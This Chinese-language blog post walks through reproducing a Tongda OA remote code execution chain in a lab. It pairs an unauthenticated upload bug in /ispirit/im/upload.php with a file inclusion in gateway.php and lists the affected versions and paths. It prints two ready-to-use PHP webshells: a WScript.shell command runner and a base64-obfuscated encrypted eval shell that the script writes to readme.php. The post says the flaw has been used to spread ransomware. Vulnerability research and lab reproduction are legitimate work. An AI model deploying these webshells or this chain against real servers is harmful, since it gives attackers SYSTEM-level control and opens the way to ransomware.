 
0x00 漏洞简介
通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化系统,包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等。
该漏洞被黑产利用,用于投放勒索病毒
该漏洞在绕过身份验证的情况下通过文件上传漏洞上传恶意php文件,组合文件包含漏洞最终造成远程代码执行漏洞,从而导致可以控制服务器system权限。
0x01 影响版本
| 12
 3
 4
 5
 6
 
 | V11版2017版
 2016版
 2015版
 2013增强版
 2013版
 
 | 
0x02 利用条件
无需身份认证
- 任意文件上传 /ispirit/im/upload.php
- 本地文件包含 ispirit/interface/gateway.php
命令执行绕过
| 12
 3
 4
 5
 6
 7
 8
 
 | <?php$command=$_POST['cmd'];
 $wsh = new COM('WScript.shell');
 $exec = $wsh->exec("cmd /c ".$command);
 $stdout = $exec->StdOut();
 $stroutput = $stdout->ReadAll();
 echo $stroutput;
 ?>
 
 | 
GetWebshell
| 12
 3
 4
 5
 6
 
 | <?php$fp = fopen('readme.php', 'w');
 $a = base64_decode("PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9HRVRbJ3Bhc3MnXSkpCnsKICAgICRrZXk9c3Vic3RyKG1kNSh1bmlxaWQocmFuZCgpKSksMTYpOwogICAgJF9TRVNTSU9OWydrJ109JGtleTsKICAgIHByaW50ICRrZXk7Cn0KZWxzZQp7CiAgICAka2V5PSRfU0VTU0lPTlsnayddOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHApIHtldmFsKCRwLiIiKTt9fQoJQG5ldyBDKCRwYXJhbXMpOwp9Cj8+");
 fwrite($fp, $a);
 fclose($fp);
 ?>
 
 | 
php Zend 解码
http://dezend.qiling.org/free.html
0x03 漏洞原理
被授权的远程攻击者通过文件上传配合文件包含,触发远程恶意代码执行。系统中auth.php是登陆验证的相关逻辑,upload.php中$P参数如果非空就不需要经过auth.php验证即可执行后续代码。利用此处逻辑漏洞可绕过登陆验证直接上传文件。攻击者可通过精心构造json进入includ_once进行文件包含。
0x04 环境搭建
本次实验所用版本是通达V11.3
链接:https://pan.baidu.com/s/1nm-kBi4zOwXDZFtjmf7n2Q
提取码:z863
下载好源码,解压缩后直接运行exe文件安装,访问靶机IP即可,界面如上图。
本机IP:192.168.150.142
0x05 漏洞复现
这里需要注意的是:有些版本的gateway.php路径不同。
2013
| 12
 
 | /ispirit/im/upload.php/ispirit/interface/gateway.php
 
 | 
2017
| 12
 
 | /ispirit/im/upload.php/mac/gateway.php
 
 | 
V11
| 12
 
 | /ispirit/im/upload.php/ispirit/interface/gateway.php
 
 | 
文件上传
任意文件上传漏洞路径/ispirit/im/upload.php

使用burp抓包,构造请求包,发送数据包可以看到成功上传

filename = 2004/1795480914.jpg
由于上传目录不在根目录所以还是需要另一个漏洞来进行文件包含。
文件包含
本地文件包含漏洞路径 /ispirit/interface/gateway.php

成功包含上面上传文件,并执行命令。
0x06 最后
这个漏洞复现花了很长时间,一开始不知道怎么构造数据包。
通达OA开启了 disable_funcation 功能 很多常见的命令执行函数如 exec、eval、system等都被禁止了,需要bypass。这个我还不会,后面会找时间学习学习。
0x07参考
通达OA RCE分析
POC
bypass disable_funcation